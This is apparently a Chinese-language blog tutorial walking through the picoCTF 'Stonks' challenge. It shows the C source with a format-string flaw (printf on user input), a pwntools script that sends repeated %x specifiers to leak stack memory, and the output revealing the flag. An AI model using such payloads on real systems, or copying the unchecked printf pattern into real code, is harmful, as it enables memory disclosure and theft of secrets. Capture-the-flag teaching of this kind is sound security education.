[2021铁人赛 Day29] Binary Exploitation (Pwn) Pwn题目 01

  • 引言
    昨天介绍了 pwntools 这个好用工具的基本使用方式,
    有了这几个函式,其实就已经可以对远端服务器做基本对答了,
    你可以接收资料、处理资料、回传资料,然後不断循环,直到得到想要的资讯後关闭服务器。

    在进入今天的题目之前,这里稍微提一下 C 语言的 printf 这个函式,
    printf 的格式如下:

    printf(格式字串, 变数);
    

    格式字串简单举例:
    "%d", "%s", "%x" ,分别对应後面有个「整数」、「字串」、「十六进位」的变数,
    其中十六进位表示 printf 会将资料以十六进位的方式输出。
    因此 printf("%d", num); 就是在 %d 的位置填入後面 num 整数变数的值,
    如果 num 是 87 , printf 就会印出 87 。

    只要知道这件事,我们就可以进入题目了。

  • Binary Exploitation / Stonks
    https://ithelp.ithome.com.tw/upload/images/20211013/20111429Q7CQYn99eE.png
    题目提供了服务器位址与远端程序的原始档,
    我们先看看服务器里面是什麽:

    $ nc mercury.picoctf.net 27912
    

    会输出:

    Welcome back to the trading app!
    
    What would you like to do?
    1) Buy some stonks!
    2) View my portfolio
    

    题目说明有说这是一个出题者写的模拟股票交易程序,
    有两个选项:买股票以及看目前的购买纪录
    我们先看看 2 ,什麽都没有显示,因为还没买任何股票。
    所以我们输入 1 直接买股票:

    Using patented AI algorithms to buy stonks
    Stonks chosen
    What is your API token?
    

    它会需要你输入 API token ,这东西常出现在一些商用 API 上,
    例如某 API 提供购买者一个月查询 10000 次台北公车详细资料,
    让购买者可以应用在他的 APP 上面,则购买者购买的就是 API token ,
    使用 API 时需要搭配此 token 才能正常使用。
    这些不是这题重点,只是顺便提到~

    从服务器看来我们需要输入 token 才能往下执行,
    但题目没有给 token ,所以我们要从题目提供的原始码中试着寻找。

    不过我们先随便输入看看下面有什麽,例如输入 rrr :

    Buying stonks with token:
    rrr
    Portfolio as of Wed Oct 13 19:30:09 UTC 2021
    
    
    2 shares of ZC
    8 shares of V
    104 shares of NA
    912 shares of DU
    Goodbye!
    

    程序输出了随机的股票交易 ( 从原始码可以看出来 ) ,
    然後程序就结束了,看起来玄机应该在输入的部份,
    是否有某些特定输入可以得到 flag ?

    我们直接看看题目提供的原始码:

    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    #include <time.h>
    
    #define FLAG_BUFFER 128
    #define MAX_SYM_LEN 4
    
    typedef struct Stonks {
        int shares;
        char symbol[MAX_SYM_LEN + 1];
        struct Stonks *next;
    } Stonk;
    
    typedef struct Portfolios {
        int money;
        Stonk *head;
    } Portfolio;
    
    int view_portfolio(Portfolio *p) {
        if (!p) {
            return 1;
        }
        printf("\nPortfolio as of ");
        fflush(stdout);
        system("date"); // TODO: implement this in C
        fflush(stdout);
    
        printf("\n\n");
        Stonk *head = p->head;
        if (!head) {
            printf("You don't own any stonks!\n");
        }
        while (head) {
            printf("%d shares of %s\n", head->shares, head->symbol);
            head = head->next;
        }
        return 0;
    }
    
    Stonk *pick_symbol_with_AI(int shares) {
        if (shares < 1) {
            return NULL;
        }
        Stonk *stonk = malloc(sizeof(Stonk));
        stonk->shares = shares;
    
        int AI_symbol_len = (rand() % MAX_SYM_LEN) + 1;
        for (int i = 0; i <= MAX_SYM_LEN; i++) {
            if (i < AI_symbol_len) {
                stonk->symbol[i] = 'A' + (rand() % 26);
            } else {
                stonk->symbol[i] = '\0';
            }
        }
    
        stonk->next = NULL;
    
        return stonk;
    }
    
    int buy_stonks(Portfolio *p) {
        if (!p) {
            return 1;
        }
        char api_buf[FLAG_BUFFER];
        FILE *f = fopen("api","r");
        if (!f) {
            printf("Flag file not found. Contact an admin.\n");
            exit(1);
        }
        fgets(api_buf, FLAG_BUFFER, f);
    
        int money = p->money;
        int shares = 0;
        Stonk *temp = NULL;
        printf("Using patented AI algorithms to buy stonks\n");
        while (money > 0) {
            shares = (rand() % money) + 1;
            temp = pick_symbol_with_AI(shares);
            temp->next = p->head;
            p->head = temp;
            money -= shares;
        }
        printf("Stonks chosen\n");
    
        // TODO: Figure out how to read token from file, for now just ask
    
        char *user_buf = malloc(300 + 1);
        printf("What is your API token?\n");
        scanf("%300s", user_buf);
        printf("Buying stonks with token:\n");
        printf(user_buf);
    
        // TODO: Actually use key to interact with API
    
        view_portfolio(p);
    
        return 0;
    }
    
    Portfolio *initialize_portfolio() {
        Portfolio *p = malloc(sizeof(Portfolio));
        p->money = (rand() % 2018) + 1;
        p->head = NULL;
        return p;
    }
    
    void free_portfolio(Portfolio *p) {
        Stonk *current = p->head;
        Stonk *next = NULL;
        while (current) {
            next = current->next;
            free(current);
            current = next;
        }
        free(p);
    }
    
    int main(int argc, char *argv[])
    {
        setbuf(stdout, NULL);
        srand(time(NULL));
        Portfolio *p = initialize_portfolio();
        if (!p) {
            printf("Memory failure\n");
            exit(1);
        }
    
        int resp = 0;
    
        printf("Welcome back to the trading app!\n\n");
        printf("What would you like to do?\n");
        printf("1) Buy some stonks!\n");
        printf("2) View my portfolio\n");
        scanf("%d", &resp);
    
        if (resp == 1) {
            buy_stonks(p);
        } else if (resp == 2) {
            view_portfolio(p);
        }
    
        free_portfolio(p);
        printf("Goodbye!\n");
    
        exit(0);
    }
    

    是内容不短的 C 语言程序,要完全看懂需要你一点 C 语言能力基础。
    刚刚提到玄机可能在输入,我们来看看 buy_stonks 函式的部份,
    其中真正管输入的部份是:

    char *user_buf = malloc(300 + 1);
    printf("What is your API token?\n");
    scanf("%300s", user_buf);
    printf("Buying stonks with token:\n");
    printf(user_buf);
    

    你可以输入长度 300 的字串,但 user_buf 可以容纳 301 bytes ,
    所以问题不再这。

    我想 printf(user_buf); 就是问题所在,还记得我们引言提到的吗?
    printf 第一个参数必须先有一个格式字串,第二个参数以後才是变数,
    但这边的用法直接是一个字串变数,所以我们可以自己输入格式字串!
    也就是我们可以自己输入 %d, %s, %x 等等,那程序就会以为这是原本就有的格式字串,
    导致 printf 会因为你输入的格式把後面记忆体位址的变数印出来。

    观察 buy_stonks 函式最开头:

    char api_buf[FLAG_BUFFER];
    FILE *f = fopen("api","r");
    if (!f) {
        printf("Flag file not found. Contact an admin.\n");
        exit(1);
    }
    fgets(api_buf, FLAG_BUFFER, f);
    

    发现 flag 居然被藏在 api_buf 这个变数里,但後面的程序都没有再用到。
    合理怀疑我们就是要挖开这个变数的秘密。

    所以我们可以故意输入一大堆 %x ,来试着找出 api_buf 这个变数,
    虽然 %x 是十六进位,但我们等等可以用 pwntools 的函式来将数字转为字串。

    写好的 Python 解题程序:

    from pwn import *
    
    r = remote('mercury.picoctf.net', 27912)
    print(r.recvuntil(b'2) View my portfolio\n').decode())
    r.sendline(b'1')
    print(r.recvuntil(b'What is your API token?\n').decode())
    r.sendline(b'%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x')
    print(r.recvline().decode())
    s = r.recvline().decode()
    l = s.split('-')
    flag = b''
    for u in l:
        u = int(u, base=16)
        flag += pack(u, 32, 'little')
    print(flag)
    
    r.close()
    

    其中大部份函式我们昨天都介绍过,大致上就是使用 pwntools 取得输出後做转换取得 flag 。
    值得注意的点是 sendline 送出了一大堆 %x 并用 - 隔开,
    ( - 可以换成其他符号如 . 等,只是等等分割时要替换掉符号 )
    这部份就是为了测试出 api_buf 这个变数在哪里,因为我们并不知道确切位置。

    然後最後将所有十六进位数字用 pack() 函数转成字串,第一个参数是欲转换数,
    第二个参数是一个字元从几 bits 的数字转换,第三个参数就是 little endian 或是 big endian 。

    当你输入了足够多 %x ,这部份可以自行测试,就会发现在一堆乱码中出现了 flag ,
    执行 Python 程序:

    [+] Opening connection to mercury.picoctf.net on port 27912: Done
    Welcome back to the trading app!
    
    What would you like to do?
    1) Buy some stonks!
    2) View my portfolio
    
    Using patented AI algorithms to buy stonks
    Stonks chosen
    What is your API token?
    
    Buying stonks with token:
    
        b'\xd0\xc3\xd6\t\x00\xb0\x04\x08\xc3\x89\x04\x08\x80}\xf9\xf7\xff\xff\xff\xff\x01\x00\x00\x00`\xa1\xd6\t\x10Q\xfa\xf7\xc7}\xf9\xf7\x00\x00\x00\x00\x80\xb1\xd6\t\x01\x00\x00\x00\xb0\xc3\xd6\t\xd0\xc3\xd6\tpicoCTF{I_l05t_4ll_my_m0n3y_1cf201a0}\x00\xa9\xff'
    [*] Closed connection to mercury.picoctf.net port 27912
    

    今天可能写得很乱,但这种题目必须大部分靠自己摸索结果,我只是提供一种途径,
    其实每题都有很多解法, Pwn 的题目更是有多种面向的解题方法。


<<:  【Day29 #2】企业数位治理议题3:核心化之E化系统架构

>>:  [火锅吃到饱-17] 新马辣经典麻辣锅-武昌店

Leetcode 79 Word Search (JavaScript) 的问题

各位邦友好,敝人想问一下leetcode https://leetcode.com/problems...

[Day28] 沟通之术 - 测试工程师篇

这是铁人赛接近尾声的倒数第 3 篇~今天就来讲讲跟测试工程师的沟通之术吧! 前言 原本是个坐在位置上...

【Day11】测试方法、Jest、Ezyme的介绍(•‿•)

要进入写测试之前呀~我们必须要先了解为什麽要写测试,及我们会说明一种测试的开发方法(TDD) 写测试...

RISC V::中断与异常处理 -- 异常篇

一般在修读 Operating System 时,都会学习到 Interrupt 的概念,此外,电脑...

Day 03 Introduction to AI

Challenges and risks with AI Bias can affect resul...